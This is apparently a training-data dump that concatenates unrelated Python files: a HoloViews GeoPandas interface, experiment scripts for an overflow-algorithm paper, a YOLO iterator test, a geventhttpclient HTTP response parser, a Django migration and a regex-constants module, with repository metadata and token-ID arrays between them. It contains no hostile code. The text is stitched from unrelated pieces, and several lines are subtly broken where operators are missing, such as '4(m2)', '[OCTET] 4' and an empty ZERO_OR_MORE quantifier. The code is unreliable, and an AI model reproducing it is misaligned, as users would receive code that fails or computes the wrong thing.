d in data): data = GeoDataFrame(data) if not isinstance(data, GeoDataFrame): data = from_multi(eltype, data, kdims, vdims) elif not isinstance(data, GeoDataFrame): raise ValueError("GeoPandasInterface only support geopandas " "DataFrames not %s." % type(data)) elif 'geometry' not in data: cls.geo_column(data) index_names = data.index.names if isinstance(data, pd.DataFrame) else [data.index.name] if index_names == [None]: index_names = ['index'] for kd in kdims+vdims: kd = dimension_name(kd) if kd in data.columns: continue if any(kd == ('index' if name is None else name) for name in index_names): data = data.reset_index() break try: shp_types = {gt[5:] if 'Multi' in gt else gt for gt in data.geom_type} except: shp_types = [] if len(shp_types) > 1: raise DataError('The GeopandasInterface can only read dataframes which ' 'share a common geometry type, found %s types.' % shp_types, cls) return data, {'kdims': kdims, 'vdims': vdims}, {} @classmethod def validate(cls, dataset, vdims=True): dim_types = 'key' if vdims else 'all' geom_dims = cls.geom_dims(dataset) if len(geom_dims) != 2: raise DataError('Expected %s instance to declare two key ' 'dimensions corresponding to the geometry ' 'coordinates but %d dimensions were found ' 'which did not refer to any columns.' % (type(dataset).__name__, len(geom_dims)), cls) not_found = [d.name for d in dataset.dimensions(dim_types) if d not in geom_dims and d.name not in dataset.data] if not_found: raise DataError("Supplied data does not contain specified " "dimensions, the following dimensions were " "not found: %s" % repr(not_found), cls) @classmethod def dtype(cls, dataset, dimension): name = dataset.get_dimension(dimension, strict=True).name if name not in dataset.data: return np.dtype('float') # Geometry dimension return dataset.data[name].dtype @classmethod def has_holes(cls, dataset): from shapely.geometry import Polygon, MultiPolygon col = cls.geo_column(dataset.data) for geom in dataset.data[col]: if isinstance(geom, Polygon) and geom.interiors: return True elif isinstance(geom, MultiPolygon): for g in geom: if isinstance(g, Polygon) and g.interiors: return True return False @classmethod def holes(cls, dataset): from shapely.geometry import Polygon, MultiPolygon holes = [] col = cls.geo_column(dataset.data) for geom in dataset.data[col]: if isinstance(geom, Polygon) and geom.interiors: holes.append([[geom_to_array(h) for h in geom.interiors]]) elif isinstance(geom, MultiPolygon): holes += [[[geom_to_array(h) for h in g.interiors] for g in geom]] else: holes.append([[]]) return holes @classmethod def select(cls, dataset, selection_mask=None, *selection): if cls.geom_dims(dataset): df = cls.shape_mask(dataset, selection) else: df = dataset.data if not selection: return df elif selection_mask is None: selection_mask = cls.select_mask(dataset, selection) indexed = cls.indexed(dataset, selection) df = df.iloc[selection_mask] if indexed and len(df) == 1 and len(dataset.vdims) == 1: return df[dataset.vdims[0].name].iloc[0] return df @classmethod def shape_mask(cls, dataset, selection): xdim, ydim = cls.geom_dims(dataset) xsel = selection.pop(xdim.name, None) ysel = selection.pop(ydim.name, None) if xsel is None and ysel is None: return dataset.data from shapely.geometry import box if xsel is None: x0, x1 = cls.range(dataset, xdim) elif isinstance(xsel, slice): x0, x1 = xsel.start, xsel.stop elif isinstance(xsel, tuple): x0, x1 = xsel else: raise ValueError("Only slicing is supported on geometries, %s " "selection is of type %s." % (xdim, type(xsel).__name__)) if ysel is None: y0, y1 = cls.range(dataset, ydim) elif isinstance(ysel, slice): y0, y1 = ysel.start, ysel.stop elif isinstance(ysel, tuple): y0, y1 = ysel else: raise ValueError("Only slicing is supported on geometries, %s " "selection is of type %s." % (ydim, type(ysel).__name__)) bounds = box(x0, y0, x1, y1) col = cls.geo_column(dataset.data) df = dataset.data.copy() df[col] = df[col].intersection(bounds) return df[df[col].area > 0] @classmethod def select_mask(cls, dataset, selection): mask = np.ones(len(dataset.data), dtype=np.bool) for dim, k in selection.items(): if isinstance(k, tuple): k = slice(k) arr = dataset.data[dim].values if isinstance(k, slice): with warnings.catch_warnings(): warnings.filterwarnings('ignore', r'invalid value encountered') if k.start is not None: mask &= k.start <= arr if k.stop is not None: mask &= arr < k.stop elif isinstance(k, (set, list)): iter_slcs = [] for ik in k: with warnings.catch_warnings(): warnings.filterwarnings('ignore', r'invalid value encountered') iter_slcs.append(arr == ik) mask &= np.logical_or.reduce(iter_slcs) elif callable(k): mask &= k(arr) else: index_mask = arr == k if dataset.ndims == 1 and np.sum(index_mask) == 0: data_index = np.argmin(np.abs(arr - k)) mask = np.zeros(len(dataset), dtype=np.bool) mask[data_index] = True else: mask &= index_mask return mask @classmethod def geom_dims(cls, dataset): return [d for d in dataset.kdims + dataset.vdims if d.name not in dataset.data] @classmethod def dimension_type(cls, dataset, dim): col = cls.geo_column(dataset.data) arr = geom_to_array(dataset.data[col].iloc[0]) ds = dataset.clone(arr, datatype=cls.subtypes, vdims=[]) return ds.interface.dimension_type(ds, dim) @classmethod def isscalar(cls, dataset, dim, per_geom=False): """ Tests if dimension is scalar in each subpath. """ dim = dataset.get_dimension(dim) geom_dims = cls.geom_dims(dataset) if dim in geom_dims: return False elif per_geom: return all(isscalar(v) or len(list(unique_array(v))) == 1 for v in dataset.data[dim.name]) dim = dataset.get_dimension(dim) return len(dataset.data[dim.name].unique()) == 1 @classmethod def range(cls, dataset, dim): dim = dataset.get_dimension(dim) geom_dims = cls.geom_dims(dataset) if dim in geom_dims: col = cls.geo_column(dataset.data) idx = geom_dims.index(dim) bounds = dataset.data[col].bounds if idx == 0: return bounds.minx.min(), bounds.maxx.max() else: return bounds.miny.min(), bounds.maxy.max() else: vals = dataset.data[dim.name] return vals.min(), vals.max() @classmethod def aggregate(cls, columns, dimensions, function, kwargs): raise NotImplementedError @classmethod def add_dimension(cls, dataset, dimension, dim_pos, values, vdim): data = dataset.data.copy() geom_col = cls.geo_column(dataset.data) if dim_pos >= list(data.columns).index(geom_col): dim_pos -= 1 if dimension.name not in data: data.insert(dim_pos, dimension.name, values) return data @classmethod def groupby(cls, dataset, dimensions, container_type, group_type, kwargs): geo_dims = cls.geom_dims(dataset) if any(d in geo_dims for d in dimensions): raise DataError("GeoPandasInterface does not allow grouping " "by geometry dimension.", cls) return PandasInterface.groupby(dataset, dimensions, container_type, group_type, kwargs) @classmethod def reindex(cls, dataset, kdims=None, vdims=None): return dataset.data @classmethod def sample(cls, columns, samples=[]): raise NotImplementedError @classmethod def sort(cls, dataset, by=[], reverse=False): geo_dims = cls.geom_dims(dataset) if any(d in geo_dims for d in by): raise DataError("SpatialPandasInterface does not allow sorting " "by geometry dimension.", cls) return PandasInterface.sort(dataset, by, reverse) @classmethod def shape(cls, dataset): return (cls.length(dataset), len(dataset.dimensions())) @classmethod def length(cls, dataset): geom_type = cls.geom_type(dataset) if geom_type != 'Point': return len(dataset.data) return sum([geom_length(g) for g in dataset.data.geometry]) @classmethod def nonzero(cls, dataset): return bool(cls.length(dataset)) @classmethod def redim(cls, dataset, dimensions): return PandasInterface.redim(dataset, dimensions) @classmethod def values(cls, dataset, dimension, expanded=True, flat=True, compute=True, keep_index=False): dimension = dataset.get_dimension(dimension) geom_dims = dataset.interface.geom_dims(dataset) data = dataset.data isgeom = (dimension in geom_dims) geom_col = cls.geo_column(dataset.data) is_points = cls.geom_type(dataset) == 'Point' if not len(data): dtype = float if isgeom else dataset.data[dimension.name].dtype return np.array([], dtype=dtype) col = cls.geo_column(dataset.data) if isgeom and keep_index: return data[col] elif not isgeom: return get_value_array(data, dimension, expanded, keep_index, geom_col, is_points, geom_length) column = data[dimension.name] if not expanded or keep_index or not len(data): return column if keep_index else column.values else: arrays = [] for i, geom in enumerate(data[col]): length = geom_length(geom) arrays.append(np.full(length, column.iloc[i])) return np.concatenate(arrays) if len(arrays) > 1 else arrays[0] values = [] geom_type = data.geom_type.iloc[0] ds = dataset.clone(data.iloc[0].to_dict(), datatype=['geom_dictionary']) for i, row in data.iterrows(): ds.data = row.to_dict() values.append(ds.interface.values(ds, dimension)) if 'Point' not in geom_type and expanded: values.append([np.NaN]) values = values if 'Point' in geom_type or not expanded else values[:-1] if len(values) == 1: return values[0] elif not values: return np.array([]) elif not expanded: array = np.empty(len(values), dtype=object) array[:] = values return array else: return np.concatenate(values) @classmethod def iloc(cls, dataset, index): from geopandas import GeoSeries from shapely.geometry import MultiPoint rows, cols = index geom_dims = cls.geom_dims(dataset) geom_col = cls.geo_column(dataset.data) scalar = False columns = list(dataset.data.columns) if isinstance(cols, slice): cols = [d.name for d in dataset.dimensions()][cols] elif np.isscalar(cols): scalar = np.isscalar(rows) cols = [dataset.get_dimension(cols).name] else: cols = [dataset.get_dimension(d).name for d in index[1]] if not all(d in cols for d in geom_dims): raise DataError("Cannot index a dimension which is part of the " "geometry column of a spatialpandas DataFrame.", cls) cols = list(unique_iterator([ columns.index(geom_col) if c in geom_dims else columns.index(c) for c in cols ])) geom_type = dataset.data[geom_col].geom_type.iloc[0] if geom_type != 'MultiPoint': if scalar: return dataset.data.iloc[rows[0], cols[0]] elif isscalar(rows): rows = [rows] return dataset.data.iloc[rows, cols] geoms = dataset.data[geom_col] count = 0 new_geoms, indexes = [], [] for i, geom in enumerate(geoms): length = len(geom) if np.isscalar(rows): if count <= rows < (count+length): new_geoms.append(geom[rows-count]) indexes.append(i) break elif isinstance(rows, slice): if rows.start is not None and rows.start > (count+length): continue elif rows.stop is not None and rows.stop < count: break start = None if rows.start is None else max(rows.start - count, 0) stop = None if rows.stop is None else min(rows.stop - count, length) if rows.step is not None: dataset.param.warning(".iloc step slicing currently not supported for" "the multi-tabular data format.") indexes.append(i) new_geoms.append(geom[start:stop]) elif isinstance(rows, (list, set)): sub_rows = [(r-count) for r in rows if count <= r < (count+length)] if not sub_rows: continue indexes.append(i) new_geoms.append(MultiPoint([geom[r] for r in sub_rows])) count += length new = dataset.data.iloc[indexes].copy() new[geom_col] = GeoSeries(new_geoms) return new @classmethod def split(cls, dataset, start, end, datatype, kwargs): objs = [] xdim, ydim = dataset.kdims[:2] if not len(dataset.data): return [] row = dataset.data.iloc[0] col = cls.geo_column(dataset.data) arr = geom_to_array(row[col]) d = {(xdim.name, ydim.name): arr} d.update({vd.name: row[vd.name] for vd in dataset.vdims}) geom_type = cls.geom_type(dataset) ds = dataset.clone([d], datatype=['multitabular']) for i, row in dataset.data.iterrows(): if datatype == 'geom': objs.append(row[col]) continue geom = row[col] gt = geom_type or get_geom_type(geom) arr = geom_to_array(geom) d = {xdim.name: arr[:, 0], ydim.name: arr[:, 1]} d.update({vd.name: row[vd.name] for vd in dataset.vdims}) ds.data = [d] if datatype == 'array': obj = ds.array(kwargs) elif datatype == 'dataframe': obj = ds.dframe(kwargs) elif datatype in ('columns', 'dictionary'): d['geom_type'] = gt obj = d elif datatype is None: obj = ds.clone() else: raise ValueError("%s datatype not support" % datatype) objs.append(obj) return objs def get_geom_type(geom): """Returns the HoloViews geometry type. Args: geom: A shapely geometry Returns: A string representing type of the geometry. """ from shapely.geometry import ( Point, LineString, Polygon, Ring, MultiPoint, MultiPolygon, MultiLineString ) if isinstance(geom, (Point, MultiPoint)): return 'Point' elif isinstance(geom, (LineString, MultiLineString)): return 'Line' elif isinstance(geom, Ring): return 'Ring' elif isinstance(geom, (Polygon, MultiPolygon)): return 'Polygon' def to_geopandas(data, xdim, ydim, columns=[], geom='point'): """Converts list of dictionary format geometries to spatialpandas line geometries. Args: data: List of dictionaries representing individual geometries xdim: Name of x-coordinates column ydim: Name of y-coordinates column ring: Whether the data represents a closed ring Returns: A spatialpandas.GeoDataFrame version of the data """ from geopandas import GeoDataFrame from shapely.geometry import ( Point, LineString, Polygon, MultiPoint, MultiPolygon, MultiLineString ) poly = any('holes' in d for d in data) or geom == 'Polygon' if poly: single_type, multi_type = Polygon, MultiPolygon elif geom == 'Line': single_type, multi_type = LineString, MultiLineString else: single_type, multi_type = Point, MultiPoint converted = defaultdict(list) for geom_dict in data: geom_dict = dict(geom_dict) geom = geom_from_dict(geom_dict, xdim, ydim, single_type, multi_type) for c, v in geom_dict.items(): converted[c].append(v) converted['geometry'].append(geom) return GeoDataFrame(converted, columns=['geometry']+columns) def from_multi(eltype, data, kdims, vdims): """Converts list formats into geopandas.GeoDataFrame. Args: eltype: Element type to convert data: The original data kdims: The declared key dimensions vdims: The declared value dimensions Returns: A GeoDataFrame containing the data in the list based format. """ from geopandas import GeoDataFrame new_data = [] types = [] xname, yname = (kd.name for kd in kdims[:2]) for d in data: types.append(type(d)) if isinstance(d, dict): d = {k: v if isscalar(v) else np.asarray(v) for k, v in d.items()} new_data.append(d) continue new_el = eltype(d, kdims, vdims) if new_el.interface is GeoPandasInterface: types[-1] = GeoDataFrame new_data.append(new_el.data) continue new_dict = {} for d in new_el.dimensions(): if d in (xname, yname): scalar = False else: scalar = new_el.interface.isscalar(new_el, d) vals = new_el.dimension_values(d, not scalar) new_dict[d.name] = vals[0] if scalar else vals new_data.append(new_dict) if len(set(types)) > 1: raise DataError('Mixed types not supported') if new_data and types[0] is GeoDataFrame: data = pd.concat(new_data) else: columns = [d.name for d in kdims+vdims if d not in (xname, yname)] geom = GeoPandasInterface.geom_type(eltype) if not len(data): return GeoDataFrame([], columns=['geometry']+columns) data = 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experiments.py	hmjansen/overflow-algorithm	0	127004	"""Code used to create the examples in the overflow paper. This module contains the code used to create the examples in the paper at https://arxiv.org/pdf/2001.09611v1, referred to as the overflow paper. Execute this module as a script to reproduce the examples. The code has been tested using Python 3.5.2, NumPy 1.11.1, and SciPy 0.18.1 via the Anaconda 4.2.0 (64-bit) installation. """ import matplotlib.pyplot as plt import numpy as np from create_overflow_networks import square_network_example from create_overflow_networks import worst_case_example from overflow_algorithm import solve_overflow_traffic_equation def progress_bar(i, n, width=20): """Provides a simple progress bar. Visualizes the how many iterations of a loop have been completed. Does not take actual or estimated remaining computation time into account. Args: i: Number of iterations of the loop that are completed. n: Total number of iterations of the loop. width: The number of characters used to visualize the progress. """ STRING_L = "X" STRING_R = "." frac = int(np.floor((i / n) * width)) str_l = STRING_L * frac str_r = STRING_R * (width - frac) print("\rSolving: [" + str_l + str_r + "]", end="") def square_network_overflow_plot(m, grid_nr, show_progress=False): """Creates a heat map as in Example 1 of the overflow paper. First defines a grid of parameter values for the delta and epsilon parameters of the family of networks presented in Example 1. Computes the solution to the overflow equation for each pair of parameters delta and epsilon and determines the fraction of overflowing nodes for that pair. Plots a heat map of these fractions. Args: m: Number of cells for the network of Example 1. grid_nr: Number of parameter values used for each parameter not including 0.0. The grid consists of grid_nr + 1 evenly spaced points in [0, 1] with end points 0.0 and 1.0. show_progress: Indicates whether a progress bar is shown. """ n = 4(m2) alpha = np.zeros(n) alpha[0] = n mu = np.zeros(n) + 1.0 grid_nr = grid_nr + 1 delta_space = np.linspace(0, 1.0, grid_nr) epsilon_space = np.linspace(0, 1.0, grid_nr) overflow_proportion = np.zeros([grid_nr, grid_nr]) if show_progress: print("") for i in range(grid_nr): for j in range(grid_nr): delta = delta_space[i] epsilon = epsilon_space[j] alpha, mu, P, Q = square_network_example(m, delta, epsilon) sol = solve_overflow_traffic_equation(alpha, mu, P, Q) overflow_proportion[i, j] = sum(sol >= mu) / n if show_progress: progress_bar(i grid_nr + (j + 1), grid_nr**2) if show_progress: print("") # Plot results. # Set font sizes for plots. SMALL_FONT = 8 MEDIUM_FONT = 18 LARGE_FONT = 22 plt.rc('font', size=SMALL_FONT) # Default text font size plt.rc('axes', titlesize=MEDIUM_FONT) # Axes titles font size plt.rc('axes', labelsize=LARGE_FONT) # Axes lables font size plt.rc('xtick', labelsize=MEDIUM_FONT) # xtick lables font size plt.rc('ytick', labelsize=MEDIUM_FONT) # ytick lables font size plt.rc('legend', fontsize=MEDIUM_FONT) # legend font size plt.rc('figure', titlesize=MEDIUM_FONT) # Figure title font size # Flip the matrix for better plotting of the vertical axis. overflow_proportion = np.flipud(overflow_proportion) fig = plt.figure() ax = fig.add_subplot(111) im = ax.matshow(overflow_proportion) # Set ticks at horizontal and vertical axes; # the yticks are flipped to correspond with the flipped matrix. ticks_max = 6 ticks_step = np.floor((grid_nr - 1) / (ticks_max - 1)) ticks_index = np.arange(start=0, stop=grid_nr, step=ticks_step, dtype=int) ax.set_xticks(ticks_index) ax.set_yticks(np.flipud(ticks_index)) # Label ticks with the corresponding values. delta_labels = [delta_space[i] for i in ticks_index] epsilon_labels = [epsilon_space[i] for i in ticks_index] ax.set_xticklabels(delta_labels) ax.set_yticklabels(epsilon_labels) # Show ticks on horizontal axis at the bottom. ax.tick_params(axis="x", bottom=True, top=False, labelbottom=True, labeltop=False) # Set x label and y label. plt.xlabel("$\delta$") plt.ylabel("$\epsilon$") # Plot the figure. fig.colorbar(im) plt.show() if __name__ == "__main__": show_progress = True # Progress bar will be shown if True # Number of grid points used for the parameter space of the square network. # Choose grid_nr >= 1. # Step size is 1 / grid_nr for a total number of 1 + grid_nr grid points. grid_nr = 100 # Number of blocks in the horizontal direction of the square network. # Choose m >= 2. m = 3 # Run the square network example with m = 3. square_network_overflow_plot(m, grid_nr, show_progress) # Run the square network example with m = 5. m = 5 square_network_overflow_plot(m, grid_nr, show_progress) # Check that the worst case examples indeed require the maximum number of # iterations of the overflow algorithm. n = 75 results = np.zeros(n) if show_progress: print("") for i in range(1, n + 1): alpha, mu, P, Q = worst_case_example(i) x = solve_overflow_traffic_equation(alpha, mu, P, Q, count=True) labda, solve_count, max_count = x results[i - 1] = (solve_count == max_count) if show_progress: progress_bar(i, n) if show_progress: print("") if results.all(): # Every solve_count == max_count print("All solutions required the maximum number of iterations.") else: print("At least one solution required less than the maximum number " + "of iterations.")	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test.py	wangjm12138/Yolov3_wang	0	1901	import random class Yolov3(object): def __init__(self): self.num=0 self.input_size=[8,16,32] def __iter__(self): return self def __next__(self): a = random.choice(self.input_size) self.num=self.num+1 if self.num<3: return a else: raise StopIteration yolo=Yolov3() for data in yolo: print(data)	[ 1, 1053, 4036, 13, 1990, 612, 324, 586, 29941, 29898, 3318, 1125, 13, 13, 12, 1753, 4770, 2344, 12035, 1311, 1125, 13, 12, 12, 1311, 29889, 1949, 29922, 29900, 13, 12, 12, 1311, 29889, 2080, 29918, 2311, 11759, 29947, 29892, 29896, 29953, 29892, 29941, 29906, 29962, 13, 12, 1753, 4770, 1524, 12035, 1311, 1125, 13, 12, 12, 2457, 1583, 13, 12, 1753, 4770, 4622, 12035, 1311, 1125, 13, 12, 12, 29874, 353, 4036, 29889, 16957, 29898, 1311, 29889, 2080, 29918, 2311, 29897, 13, 12, 12, 1311, 29889, 1949, 29922, 1311, 29889, 1949, 29974, 29896, 13, 12, 12, 361, 1583, 29889, 1949, 29966, 29941, 29901, 13, 12, 12, 12, 2457, 263, 13, 12, 12, 2870, 29901, 13, 12, 12, 12, 22692, 22303, 13463, 362, 13, 29891, 3543, 29922, 29979, 324, 586, 29941, 580, 13, 1454, 848, 297, 343, 3543, 29901, 13, 12, 2158, 29898, 1272, 29897, 13, 2 ]
env.clearblockd/lib/python2.7/site-packages/geventhttpclient/response.py	Organizational-Proof-Of-Work/clearinghoused_build	0	77826	<gh_stars>0 import errno from geventhttpclient._parser import HTTPResponseParser, HTTPParseError #@UnresolvedImport from geventhttpclient.header import Headers import gevent.socket HEADER_STATE_INIT = 0 HEADER_STATE_FIELD = 1 HEADER_STATE_VALUE = 2 HEADER_STATE_DONE = 3 class HTTPConnectionClosed(HTTPParseError): pass class HTTPProtocolViolationError(HTTPParseError): pass class HTTPResponse(HTTPResponseParser): def __init__(self, method='GET', headers_type=Headers): super(HTTPResponse, self).__init__() self.method = method.upper() self.headers_complete = False self.message_begun = False self.message_complete = False self._headers_index = headers_type() self._header_state = HEADER_STATE_INIT self._current_header_field = None self._current_header_value = None self._header_position = 1 self._body_buffer = bytearray() def __getitem__(self, key): return self._headers_index[key] def get(self, key, default=None): return self._headers_index.get(key, default) def iteritems(self): return self._headers_index.iteritems() def items(self): return self._headers_index.items() def info(self): """ Basic cookielib compatibility """ return self._headers_index def should_keep_alive(self): """ return if the headers instruct to keep the connection alive. """ return bool(super(HTTPResponse, self).should_keep_alive()) def should_close(self): """ return if we should close the connection. It is not the opposite of should_keep_alive method. It also checks that the body as been consumed completely. """ return not self.message_complete or \ self.parser_failed() or \ not super(HTTPResponse, self).should_keep_alive() headers = property(items) def __contains__(self, key): return key in self._headers_index @property def status_code(self): return self.get_code() @property def content_length(self): length = self.get('content-length', None) if length is not None: return long(length) @property def version(self): return self.get_http_version() def _on_message_begin(self): if self.message_begun: raise HTTPProtocolViolationError("A new response began before end of %r." % self) self.message_begun = True def _on_message_complete(self): self.message_complete = True def _on_headers_complete(self): self._flush_header() self._header_state = HEADER_STATE_DONE self.headers_complete = True if self.method == 'HEAD': return True # SKIP BODY return False def _on_header_field(self, string): if self._header_state == HEADER_STATE_FIELD: self._current_header_field += string else: if self._header_state == HEADER_STATE_VALUE: self._flush_header() self._current_header_field = string self._header_state = HEADER_STATE_FIELD def _on_header_value(self, string): if self._header_state == HEADER_STATE_VALUE: self._current_header_value += string else: self._current_header_value = string self._header_state = HEADER_STATE_VALUE def _flush_header(self): if self._current_header_field is not None: self._headers_index.setdefault(self._current_header_field, self._current_header_value) self._header_position += 1 self._current_header_field = None self._current_header_value = None def _on_body(self, buf): self._body_buffer += buf def __repr__(self): return "<{klass} status={status} headers={headers}>".format( klass=self.__class__.__name__, status=self.status_code, headers=dict(self.headers)) class HTTPSocketResponse(HTTPResponse): DEFAULT_BLOCK_SIZE = 1024 * 4 # 4KB def __init__(self, sock, block_size=DEFAULT_BLOCK_SIZE, method='GET', kw): super(HTTPSocketResponse, self).__init__(method=method, kw) self._sock = sock self.block_size = block_size self._read_headers() def release(self): try: if self._sock is not None and self.should_close(): try: self._sock.close() except: pass finally: self._sock = None def __del__(self): self.release() def _read_headers(self): try: start = True while not self.headers_complete: try: data = self._sock.recv(self.block_size) self.feed(data) # depending on gevent version we get a conn reset or no data if not len(data) and not self.headers_complete: if start: raise HTTPConnectionClosed( 'connection closed.') raise HTTPParseError('connection closed before' ' end of the headers') start = False except gevent.socket.error as e: if e.errno == errno.ECONNRESET: if start: raise HTTPConnectionClosed( 'connection closed.') raise if self.message_complete: self.release() except BaseException: self.release() raise def readline(self, sep="\r\n"): cursor = 0 multibyte = len(sep) > 1 while True: cursor = self._body_buffer.find(sep[0], cursor) if cursor >= 0: found = True if multibyte: pos = cursor cursor = self._body_buffer.find(sep, cursor) if cursor < 0: cursor = pos found = False if found: length = cursor + len(sep) line = str(self._body_buffer[:length]) del self._body_buffer[:length] cursor = 0 return line else: cursor = 0 if self.message_complete: return '' try: data = self._sock.recv(self.block_size) self.feed(data) except BaseException: self.release() raise def read(self, length=None): # get the existing body that may have already been parsed # during headers parsing if length is not None and len(self._body_buffer) >= length: read = self._body_buffer[0:length] del self._body_buffer[0:length] return str(read) if self._sock is None: read = str(self._body_buffer) del self._body_buffer[:] return read try: while not(self.message_complete) and ( length is None or len(self._body_buffer) < length): data = self._sock.recv(length or self.block_size) self.feed(data) except: self.release() raise if length is not None: read = str(self._body_buffer[0:length]) del self._body_buffer[0:length] return read read = str(self._body_buffer) del self._body_buffer[:] return read def __iter__(self): return self def next(self): bytes = self.read(self.block_size) if not len(bytes): raise StopIteration() return bytes def _on_message_complete(self): super(HTTPSocketResponse, self)._on_message_complete() self.release() def __enter__(self): return self def __exit__(self, args): self.release() class HTTPSocketPoolResponse(HTTPSocketResponse): def __init__(self, sock, pool, kw): self._pool = pool super(HTTPSocketPoolResponse, self).__init__(sock, *kw) def release(self): try: if self._sock is not None: if self.should_close(): self._pool.release_socket(self._sock) else: self._pool.return_socket(self._sock) finally: self._sock = None self._pool = None def __del__(self): if self._sock is not None: self._pool.release_socket(self._sock)	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 5215, 4589, 1217, 13, 3166, 1737, 794, 1124, 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recipesAPI/recipes/migrations/0011_auto_20220116_2017.py	rainsha/polsl_mgr_obierki	0	188010	<filename>recipesAPI/recipes/migrations/0011_auto_20220116_2017.py # Generated by Django 3.0.14 on 2022-01-16 19:17 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('recipes', '0010_delete_message'), ] operations = [ migrations.AlterField( model_name='recipe', name='content', field=models.CharField(default='', max_length=10000), ), ]	[ 1, 529, 9507, 29958, 4361, 5547, 8787, 29914, 4361, 5547, 29914, 26983, 800, 29914, 29900, 29900, 29896, 29896, 29918, 6921, 29918, 29906, 29900, 29906, 29906, 29900, 29896, 29896, 29953, 29918, 29906, 29900, 29896, 29955, 29889, 2272, 13, 29937, 3251, 630, 491, 15337, 29871, 29941, 29889, 29900, 29889, 29896, 29946, 373, 29871, 29906, 29900, 29906, 29906, 29899, 29900, 29896, 29899, 29896, 29953, 29871, 29896, 29929, 29901, 29896, 29955, 13, 13, 3166, 9557, 29889, 2585, 1053, 9725, 800, 29892, 4733, 13, 13, 13, 1990, 341, 16783, 29898, 26983, 800, 29889, 29924, 16783, 1125, 13, 13, 1678, 9962, 353, 518, 13, 4706, 6702, 4361, 5547, 742, 525, 29900, 29900, 29896, 29900, 29918, 8143, 29918, 4906, 5477, 13, 1678, 4514, 13, 13, 1678, 6931, 353, 518, 13, 4706, 9725, 800, 29889, 2499, 357, 3073, 29898, 13, 9651, 1904, 29918, 978, 2433, 4361, 412, 742, 13, 9651, 1024, 2433, 3051, 742, 13, 9651, 1746, 29922, 9794, 29889, 27890, 29898, 4381, 2433, 742, 4236, 29918, 2848, 29922, 29896, 29900, 29900, 29900, 29900, 511, 13, 4706, 10353, 13, 1678, 4514, 13, 2 ]
apetools/commons/expressions.py	rsnakamura/oldape	0	67347	# python standard library import string NAMED = r"(?P<{name}>{pattern})" GROUP = r"({group})" CLASS = "[{0}]" OR = "\|" NOT = "^" SPACE = r'\s' NOT_SPACE = r'\S' DIGIT = r"\d" ANYTHING = '.' WORD_ENDING = r'\b' LINE_ENDING = r"$" LINE_START = "^" M_TO_N_TIMES = "{{{m},{n}}}" ONE_TO_3 = M_TO_N_TIMES.format(m=1, n=3) EXACTLY = "{{{0}}}" ONE_OR_MORE = "+" ZERO_OR_MORE = '' ZERO_OR_ONE = '?' EVERYTHING = ANYTHING + ZERO_OR_MORE LETTER = CLASS.format(string.ascii_letters) LETTERS = LETTER + ONE_OR_MORE ALPHA_NUM = string.ascii_letters + string.digits ALPHA_NUMS = CLASS.format(ALPHA_NUM) + ONE_OR_MORE ALPHA_NUM_UNDERSCORE = r'\w' ALPHA_NUM_UNDERSCORES = ALPHA_NUM_UNDERSCORE + ONE_OR_MORE SPACE_OPTIONAL = SPACE + ZERO_OR_ONE SPACES_OPTIONAL = SPACE + ZERO_OR_MORE SPACES = SPACE + ONE_OR_MORE DOT = r"\." HEX = CLASS.format(string.hexdigits) HEXADECIMALS = HEX + ONE_OR_MORE INTEGER = DIGIT + ONE_OR_MORE FLOAT = INTEGER + DOT + INTEGER REAL = INTEGER + GROUP.format(group=DOT + INTEGER) + ZERO_OR_ONE OCTET = DIGIT + ONE_TO_3 OCTET_DOT = OCTET + DOT IP_ADDRESS_NAME = "ip_address" IP_ADDRESS = NAMED.format(name=IP_ADDRESS_NAME, pattern=DOT.join([OCTET] 4)) MAC_ADDRESS_NAME = "mac_address" HEX_PAIR = HEX + EXACTLY.format(2) MAC_ADDRESS = NAMED.format(name=MAC_ADDRESS_NAME, pattern=":".join([HEX_PAIR] * 6)) LINUX_IP = SPACES.join('inet addr:'.split()) + IP_ADDRESS LINUX_MAC = "HWaddr" + SPACES + MAC_ADDRESS ANDROID_IP = 'ip' + SPACES + IP_ADDRESS INTERFACE_STATE_NAME = "state" INTERFACE_STATE = NAMED.format(name=INTERFACE_STATE_NAME, pattern="UP" + OR + "DOWN") NETCFG_IP = SPACES + INTERFACE_STATE + SPACES + IP_ADDRESS + EVERYTHING + MAC_ADDRESS INTERFACE_NAME = "interface" INTERFACE = NAMED.format(name=INTERFACE_NAME, pattern=LETTERS + INTEGER) NETCFG_INTERFACE = INTERFACE + NETCFG_IP RTT = NAMED.format(name="rtt", pattern=REAL) PING = SPACES.join([EVERYTHING + IP_ADDRESS + ":" + EVERYTHING + "time" + SPACES_OPTIONAL + "(=\|<)" + SPACES_OPTIONAL + RTT]) PSE_NAME = "pse" PID_NAME = 'pid' PID = NAMED.format(name=PID_NAME, pattern=INTEGER) TTY = GROUP.format(group="\?" + OR + "pts/" + INTEGER) TIME = ":".join([DIGIT + EXACTLY.format(2)] * 3) PROCESS_NAME = "process" PROCESS = NAMED.format(name=PROCESS_NAME,pattern=CLASS.format(NOT + SPACE) + ONE_OR_MORE) PSE_LINUX = SPACES.join([PID, TTY, TIME, PROCESS]) USER = ALPHA_NUM_UNDERSCORES PPID = INTEGER VSIZE = INTEGER RSS = INTEGER WCHAN = ALPHA_NUMS PC = HEXADECIMALS S_OR_R = "(S" + OR + "R)" PS_ANDROID = SPACES.join((USER, PID, PPID, VSIZE, RSS, WCHAN, PC, S_OR_R, PROCESS)) IW_INTERFACE = "Interface" + SPACES + INTERFACE RSSI_NAME = 'rssi' IW_RSSI = "signal:" + SPACES + NAMED.format(name=RSSI_NAME, pattern="-" + INTEGER + SPACES + "dBm") WPA_MAC = "address=" + MAC_ADDRESS WPA_IP = "ip_address=" + IP_ADDRESS WPA_INTERFACE = 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iis-3rdparty-madis/src/main/resources/eu/dnetlib/iis/3rdparty/scripts/madis/functions/vtable/queryplan.py	mpol/iis	20	52686	""" .. function:: queryplan(query) -> Query plan Returns the query plan of the input query. Examples:: >>> sql("queryplan select 5") operation \| paramone \| paramtwo \| databasename \| triggerorview ------------------------------------------------------------------ SQLITE_SELECT \| None \| None \| None \| None """ import setpath import vtbase import functions import apsw registered=True class QueryPlan(vtbase.VT): def VTiter(self, parsedArgs, envars): def authorizer(operation, paramone, paramtwo, databasename, triggerorview): """Called when each operation is prepared. We can return SQLITE_OK, SQLITE_DENY or SQLITE_IGNORE""" # find the operation name plan.append([apsw.mapping_authorizer_function[operation], paramone, paramtwo, databasename, triggerorview]) return apsw.SQLITE_OK def buststatementcache(): c = connection.cursor() for i in xrange(110): a=list(c.execute("select "+str(i))) _, 